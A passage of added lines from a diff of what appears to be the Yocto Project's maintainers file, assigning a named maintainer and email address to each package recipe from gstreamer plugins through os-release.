+RECIPE_MAINTAINER:pn-gstreamer1.0-plugins-ugly = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-gstreamer1.0-python = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-gstreamer1.0-rtsp-server = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-gstreamer1.0-vaapi = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-gtk+3 = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-gtk-doc = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-gzip = "Denys Dmytriyenko <denis@denix.org>"
+RECIPE_MAINTAINER:pn-harfbuzz = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-hdparm = "Denys Dmytriyenko <denis@denix.org>"
+RECIPE_MAINTAINER:pn-help2man = "Hongxu Jia <hongxu.jia@windriver.com>"
+RECIPE_MAINTAINER:pn-hicolor-icon-theme = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-hwlatdetect = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-i2c-tools = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-icecc-create-env = "Joshua Watt <JPEWhacker@gmail.com>"
+RECIPE_MAINTAINER:pn-icu = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-ifupdown = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-igt-gpu-tools = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-inetutils = "Tom Rini <trini@konsulko.com>"
+RECIPE_MAINTAINER:pn-init-ifupdown = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-init-system-helpers = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-initramfs-boot = "Otavio Salvador <otavio.salvador@ossystems.com.br>"
+RECIPE_MAINTAINER:pn-initramfs-framework = "Otavio Salvador <otavio.salvador@ossystems.com.br>"
+RECIPE_MAINTAINER:pn-initramfs-live-boot = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-initramfs-live-boot-tiny = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-initramfs-live-install = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-initramfs-live-install-efi = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-initramfs-live-install-efi-testfs = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-initramfs-live-install-testfs = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-initscripts = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-intltool = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-iproute2 = "Changhyeok Bae <changhyeok.bae@gmail.com>"
+RECIPE_MAINTAINER:pn-iptables = "Changhyeok Bae <changhyeok.bae@gmail.com>"
+RECIPE_MAINTAINER:pn-iputils = "Changhyeok Bae <changhyeok.bae@gmail.com>"
+RECIPE_MAINTAINER:pn-iso-codes = "Wang Mingyu <wangmy@cn.ujitsu.com>"
+RECIPE_MAINTAINER:pn-itstool = "Andreas Müller <schnitzeltony@gmail.com>"
+RECIPE_MAINTAINER:pn-iw = "Changhyeok Bae <changhyeok.bae@gmail.com>"
+RECIPE_MAINTAINER:pn-libjpeg-turbo = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-json-c = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-json-glib = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-jquery = "Joshua Watt <JPEWhacker@gmail.com>"
+RECIPE_MAINTAINER:pn-kbd = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-kea = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-kern-tools-native = "Bruce Ashfield <bruce.ashfield@gmail.com>"
+RECIPE_MAINTAINER:pn-kernel-devsrc = "Bruce Ashfield <bruce.ashfield@gmail.com>"
+RECIPE_MAINTAINER:pn-kexec-tools = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-keymaps = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-kmod = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-kmscube = "Carlos Rafael Giani <dv@pseudoterminal.org>"
+RECIPE_MAINTAINER:pn-l3afpad = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-lame = "Michael Opdenacker <michael.opdenacker@bootlin.com>"
+RECIPE_MAINTAINER:pn-ldconfig-native = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-less = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-liba52 = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libacpi = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-libaio = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-libarchive = "Otavio Salvador <otavio.salvador@ossystems.com.br>"
+RECIPE_MAINTAINER:pn-libassuan = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libatomic-ops = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-libbsd = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-libcap = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-libcap-ng = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-libcap-ng-python = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-libcgroup = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-libcheck = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-libcomps = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-libconvert-asn1-perl = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-libcroco = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-libdaemon = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-libdazzle = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-libdmx = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libdnf = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-libdrm = "Otavio Salvador <otavio.salvador@ossystems.com.br>"
+RECIPE_MAINTAINER:pn-libedit = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-libepoxy = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-liberation-fonts = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-liberror-perl = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-libevdev = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-libevent = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-libexif = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-libfakekey = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-libffi = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-libfm = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-libfm-extra = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-libfontenc = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libgcc = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-libgcc-initial = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-libgcrypt = "Hongxu Jia <hongxu.jia@windriver.com>"
+RECIPE_MAINTAINER:pn-libgfortran = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-libgit2 = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libgloss = "Alejandro Hernandez <aehs29@gmail.com>"
+RECIPE_MAINTAINER:pn-libglu = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-libgpg-error = "Hongxu Jia <hongxu.jia@windriver.com>"
+RECIPE_MAINTAINER:pn-libgudev = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-libhandy = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-libical = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-libice = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libidn2 = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-libinput = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-libjitterentropy = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-libksba = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-libmatchbox = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-libmd = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-libmicrohttpd = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-libmnl = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-libmpc = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-libmodule-build-perl = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-libmodulemd = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-libnewt = "Hongxu Jia <hongxu.jia@windriver.com>"
+RECIPE_MAINTAINER:pn-libnl = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-libnotify = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-libnsl2 = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-libnss-mdns = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-libnss-nis = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-libogg = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-libomxil = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-libpam = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-libpcap = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-libpciaccess = "Wang Mingyu <wangmy@fujitsu.com>"
+RECIPE_MAINTAINER:pn-libpcre = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-libpcre2 = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libpipeline = "Wang Mingyu <wangmy@fujitsu.com>"
+RECIPE_MAINTAINER:pn-libpng = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-libproxy = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-libpthread-stubs = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-libptytty = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-libpsl = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-librepo = "Wang Mingyu <wangmy@fujitsu.com>"
+RECIPE_MAINTAINER:pn-librsvg = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-libstd-rs = "Randy MacLeod <Randy.MacLeod@windriver.com>"
+RECIPE_MAINTAINER:pn-libsamplerate0 = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libsdl2 = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-libseccomp = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libsecret = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-libsm = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libsndfile1 = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libsolv = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-libsoup = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-libsoup-2.4 = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-libssh2 = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libssp-nonshared = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-libtasn1 = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-libtest-needs-perl = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-libtheora = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-libtimedate-perl = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-libtirpc = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-libtool = "Robert Yang <liezhi.yang@windriver.com>"
+RECIPE_MAINTAINER:pn-libtool-cross = "Robert Yang <liezhi.yang@windriver.com>"
+RECIPE_MAINTAINER:pn-libtool-native = "Robert Yang <liezhi.yang@windriver.com>"
+RECIPE_MAINTAINER:pn-libucontext = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-libunistring = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-libunwind = "Bruce Ashfield <bruce.ashfield@gmail.com>"
+RECIPE_MAINTAINER:pn-liburcu = "Wang Mingyu <wangmy@fujitsu.com>"
+RECIPE_MAINTAINER:pn-liburi-perl = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-libusb1 = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-libubootenv = "Stefano Babic <sbabic@denx.de>"
+RECIPE_MAINTAINER:pn-libuv = "Armin Kuster <akuster@mvista.com>"
+RECIPE_MAINTAINER:pn-libva = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-libva-initial = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-libva-utils = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-libvorbis = "Zang Ruochen <zangrc.fnst@fujitsu.com>"
+RECIPE_MAINTAINER:pn-libwebp = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-libwpe = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-libx11 = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libxau = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libxcb = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libxcvt = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
+RECIPE_MAINTAINER:pn-libxcomposite = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libxcursor = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libxcrypt = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-libxcrypt-compat = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-libxdamage = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libxdmcp = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libxext = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libxfixes = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libxfont = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libxfont2 = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libxft = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libxi = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libxinerama = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libxkbcommon = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libxkbfile = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libxml-namespacesupport-perl = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-libxml-parser-perl = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-libxml-perl = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-libxml-sax-base-perl = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-libxml-sax-perl = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-libxml-simple-perl = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-libxml2 = "Hongxu Jia <hongxu.jia@windriver.com>"
+RECIPE_MAINTAINER:pn-libxmu = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libxpm = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libxrandr = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libxrender = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libxres = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libxscrnsaver = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libxshmfence = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libxslt = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-libxt = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libxtst = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libxv = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libxvmc = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libxxf86vm = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libyaml = "Wang Mingyu <wangmy@fujitsu.com>"
+RECIPE_MAINTAINER:pn-lighttpd = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-linux-dummy = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-linux-firmware = "Otavio Salvador <otavio.salvador@ossystems.com.br>"
+RECIPE_MAINTAINER:pn-linux-libc-headers = "Bruce Ashfield <bruce.ashfield@gmail.com>"
+RECIPE_MAINTAINER:pn-linux-yocto = "Bruce Ashfield <bruce.ashfield@gmail.com>"
+RECIPE_MAINTAINER:pn-linux-yocto-dev = "Bruce Ashfield <bruce.ashfield@gmail.com>"
+RECIPE_MAINTAINER:pn-linux-yocto-rt = "Bruce Ashfield <bruce.ashfield@gmail.com>"
+RECIPE_MAINTAINER:pn-linux-yocto-tiny = "Bruce Ashfield <bruce.ashfield@gmail.com>"
+RECIPE_MAINTAINER:pn-llvm = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-logrotate = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-log4cplus = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-lrzsz = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-lsb-release = "Hongxu Jia <hongxu.jia@windriver.com>"
+RECIPE_MAINTAINER:pn-lsof = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-ltp = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-lttng-modules = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-lttng-tools = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-lttng-ust = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-lua = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-lz4 = "Denys Dmytriyenko <denis@denix.org>"
+RECIPE_MAINTAINER:pn-lzo = "Denys Dmytriyenko <denis@denix.org>"
+RECIPE_MAINTAINER:pn-lzip = "Denys Dmytriyenko <denis@denix.org>"
+RECIPE_MAINTAINER:pn-lzop = "Denys Dmytriyenko <denis@denix.org>"
+RECIPE_MAINTAINER:pn-m4 = "Robert Yang <liezhi.yang@windriver.com>"
+RECIPE_MAINTAINER:pn-m4-native = "Robert Yang <liezhi.yang@windriver.com>"
+RECIPE_MAINTAINER:pn-make = "Robert Yang <liezhi.yang@windriver.com>"
+RECIPE_MAINTAINER:pn-makedepend = "Robert Yang <liezhi.yang@windriver.com>"
+RECIPE_MAINTAINER:pn-makedevs = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-make-mod-scripts = "Bruce Ashfield <bruce.ashfield@gmail.com>"
+RECIPE_MAINTAINER:pn-man-db = "Hongxu Jia <hongxu.jia@windriver.com>"
+RECIPE_MAINTAINER:pn-man-pages = "Hongxu Jia <hongxu.jia@windriver.com>"
+RECIPE_MAINTAINER:pn-matchbox-config-gtk = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-matchbox-desktop = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-matchbox-keyboard = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-matchbox-panel-2 = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-matchbox-session = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-matchbox-session-sato = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-matchbox-terminal = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-matchbox-theme-sato = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-matchbox-wm = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-mc = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-mdadm = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-menu-cache = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-mesa = "Otavio Salvador <otavio.salvador@ossystems.com.br>"
+RECIPE_MAINTAINER:pn-mesa-demos = "Otavio Salvador <otavio.salvador@ossystems.com.br>"
+RECIPE_MAINTAINER:pn-mesa-gl = "Otavio Salvador <otavio.salvador@ossystems.com.br>"
+RECIPE_MAINTAINER:pn-meson = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-meta-environment-${MACHINE} = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-meta-environment-extsdk-${MACHINE} = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-meta-extsdk-toolchain = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-meta-go-toolchain = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-meta-ide-support = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-meta-toolchain = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-meta-world-pkgdata = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-mingetty = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-mini-x-session = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-minicom = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-mkfontscale = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-mmc-utils = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-mobile-broadband-provider-info = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-modutils-initscripts = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-mpeg2dec = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-mpfr = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-mpg123 = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-msmtp = "Wang Mingyu <wangmy@fujitsu.com>"
+RECIPE_MAINTAINER:pn-mtd-utils = "Denys Dmytriyenko <denis@denix.org>"
+RECIPE_MAINTAINER:pn-mtdev = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-mtools = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-musl = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-musl-obstack = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-musl-utils = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-nasm = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-nativesdk-buildtools-perl-dummy = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-nativesdk-icecc-toolchain = "Joshua Watt <JPEWhacker@gmail.com>"
+RECIPE_MAINTAINER:pn-nativesdk-libtool = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-nativesdk-packagegroup-sdk-host = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-nativesdk-qemu-helper = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-nativesdk-sdk-provides-dummy = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-newlib = "Alejandro Hernandez <aehs29@gmail.com>"
+RECIPE_MAINTAINER:pn-ncurses = "Hongxu Jia <hongxu.jia@windriver.com>"
+RECIPE_MAINTAINER:pn-neard = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-net-tools = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-netbase = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-nettle = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-nfs-export-root = "Robert Yang <liezhi.yang@windriver.com>"
+RECIPE_MAINTAINER:pn-nfs-utils = "Robert Yang <liezhi.yang@windriver.com>"
+RECIPE_MAINTAINER:pn-nghttp2 = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-ninja = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-npth = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-nss-myhostname = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-numactl = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-ofono = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-opensbi = "Alistair Francis <alistair.francis@wdc.com>"
+RECIPE_MAINTAINER:pn-openssh = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-openssl = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-opkg = "Alejandro del Castillo <alejandro.delcastillo@ni.com>"
+RECIPE_MAINTAINER:pn-opkg-arch-config = "Alejandro del Castillo <alejandro.delcastillo@ni.com>"
+RECIPE_MAINTAINER:pn-opkg-keyrings = "Alejandro del Castillo <alejandro.delcastillo@ni.com>"
+RECIPE_MAINTAINER:pn-opkg-utils = "Alejandro del Castillo <alejandro.delcastillo@ni.com>"
+RECIPE_MAINTAINER:pn-orc = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-os-release = "Ross Burton <ross.burton@arm.com>"
